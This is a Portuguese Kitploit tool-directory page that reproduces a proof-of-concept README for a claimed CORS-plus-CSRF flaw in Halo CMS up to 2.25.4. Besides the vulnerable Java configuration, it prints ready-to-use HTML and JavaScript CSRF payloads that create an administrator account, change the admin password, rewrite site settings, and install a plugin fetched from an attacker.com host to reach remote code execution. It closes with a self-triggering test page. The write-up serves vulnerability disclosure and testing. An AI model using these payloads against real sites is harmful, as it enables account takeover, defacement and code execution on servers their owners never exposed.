Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
halo-cors-csrf-CVE-2026-67921 — Prova de conceito demonstrando uma combinação de configuração incorreta de CORS e bypass de proteção CSRF no Halo CMS, permitindo ataques de falsificação de solicitação entre sites para criar usuários administradores, alterar senhas, instalar plugins e modificar conteúdo. | Kitploit
Ferramentas/GitHubGitHub/unpredictable21/halo-cors-csrf-cve-2026-67921
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança Web
GitHubunpredictable21/halo-cors-csrf-cve-2026-67921

halo-cors-csrf-CVE-2026-67921

Prova de conceito demonstrando uma combinação de configuração incorreta de CORS e bypass de proteção CSRF no Halo CMS, permitindo ataques de falsificação de solicitação entre sites para criar usuários administradores, alterar senhas, instalar plugins e modificar conteúdo.

Ver Repositório
24há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-67921: Configuração Incorreta de CORS + Bypass de Proteção CSRF em Ataque Combinado no Halo CMS

Resumo

Existe uma vulnerabilidade crítica de ataque combinado nas versões do Halo CMS até 2.25.4 devido a duas configurações de segurança incorretas:

  1. Configuração Incorreta de CORS: A política de CORS permite * (qualquer origem) com credentials: true
  2. Bypass de Proteção CSRF: Todos os endpoints de API (/api/**, /apis/**) estão excluídos da proteção CSRF

Quando combinadas, estas permitem que um atacante realize ataques de Cross-Site Request Forgery a partir de qualquer origem, contornando a proteção da Same-Origin Policy que o CORS foi projetado para impor.

Pontuação CVSS v3.1: 9.3 (Crítica)
Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352 (Cross-Site Request Forgery) + CWE-942 (Política Cross-domain Permissiva) ID CVE: CVE-2026-67921


Versões Afetadas

  • Halo CMS ≤ 2.25.4
  • Todas as versões com CORS habilitado e CSRF desabilitado para rotas de API

Detalhes da Vulnerabilidade

Vulnerabilidade 1: Configuração Incorreta de CORS

Arquivo: application/src/main/java/run/halo/app/security/CorsConfigurer.java

CorsConfigurationSource apiCorsConfigSource() {
    var configuration = new CorsConfiguration();
    configuration.setAllowedOriginPatterns(List.of("*"));   // ← QUALQUER origem
    configuration.setAllowCredentials(true);                // ← Permitir cookies
    configuration.setAllowedHeaders(List.of(
        HttpHeaders.AUTHORIZATION,
        HttpHeaders.CONTENT_TYPE,
        HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN",
        HttpHeaders.COOKIE));
    configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    source.registerCorsConfiguration("/api/**", configuration);
    source.registerCorsConfiguration("/apis/**", configuration);
    return source;
}

Impacto: Qualquer site pode fazer requisições autenticadas à API do Halo com os cookies do usuário.

Vulnerabilidade 2: Bypass de Proteção CSRF

Arquivo: application/src/main/java/run/halo/app/security/CsrfConfigurer.java

@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(
            pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
        // ← Rotas de API excluídas do CSRF!
        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
    http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .requireCsrfProtectionMatcher(csrfMatcher));
}

Impacto: Requisições de API não exigem tokens CSRF, mesmo quando autenticadas via cookies de sessão.


Mecanismo do Ataque

Por Que Esta Combinação é Perigosa

ProteçãoIsoladaCombinada
CORS *Bloqueia credenciais (imposto pelo navegador)Credenciais permitidas!
Sem CSRFProtegida pela Same-Origin PolicyContornada pelo CORS!
ResultadoSeguroCSRF Total

O Fluxo do Ataque

┌─────────────────────────────────────────────────────────────┐
│  Atacante hospeda página maliciosa em evil.com              │
│  <form action="http://halo:8090/apis/..." method="POST">   │
│    <input name="..." value="...">                          │
│  </form>                                                    │
│  <script>document.forms[0].submit()</script>               │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│  Navegador da vítima visita evil.com                        │
│  → Formulário é enviado automaticamente para a API do Halo  │
│  → Navegador inclui o cookie de sessão automaticamente      │
│  → CORS: Origin * + credentials: true → Requisição permitida!│
│  → CSRF: /apis/** excluído → Nenhum token necessário!       │
│  → Requisição é bem-sucedida com os privilégios da vítima   │
└─────────────────────────────────────────────────────────────┘

Cenários de Exploração

Cenário 1: Criar Usuário Administrador

<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
  <input type="hidden" name="apiVersion" value="v1alpha1"/>
  <input type="hidden" name="kind" value="User"/>
  <input type="hidden" name="metadata.name" value="hacker"/>
  <input type="hidden" name="spec.password" value="hacker123"/>
  <input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

Cenário 2: Alterar Senha do Administrador

<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
  <input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>

Cenário 3: Instalar Plugin Malicioso (RCE)

<html>
<body>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>

Cenário 4: Modificar Conteúdo do Site

<html>
<body>
<script>
  // Alterar título do site
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>

Prova de Conceito

Teste Básico de CSRF

Crie csrf-test.html:

<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>Esta página tentará modificar as configurações do Halo quando carregada.</p>

<script>
// Testar CSRF modificando o título do site
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;

xhr.onload = function() {
    if (xhr.status === 200 || xhr.status === 204) {
        document.body.innerHTML += '<p style="color:green">SUCESSO! O ataque CSRF funcionou.</p>';
    } else {
        document.body.innerHTML += '<p style="color:red">Falhou: ' + xhr.status + '</p>';
    }
};

xhr.send(JSON.stringify({
    "site": {
        "title": "Ataque CSRF Bem-Sucedido - " + new Date().toISOString()
    }
}));
</script>
</body>
</html>

Etapas de Verificação

  1. Abra csrf-test.html em um navegador enquanto estiver conectado ao Halo
  2. Verifique se o título do site foi alterado
  3. Verifique no console do navegador os cabeçalhos CORS:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Análise de Impacto

Baixar ferramenta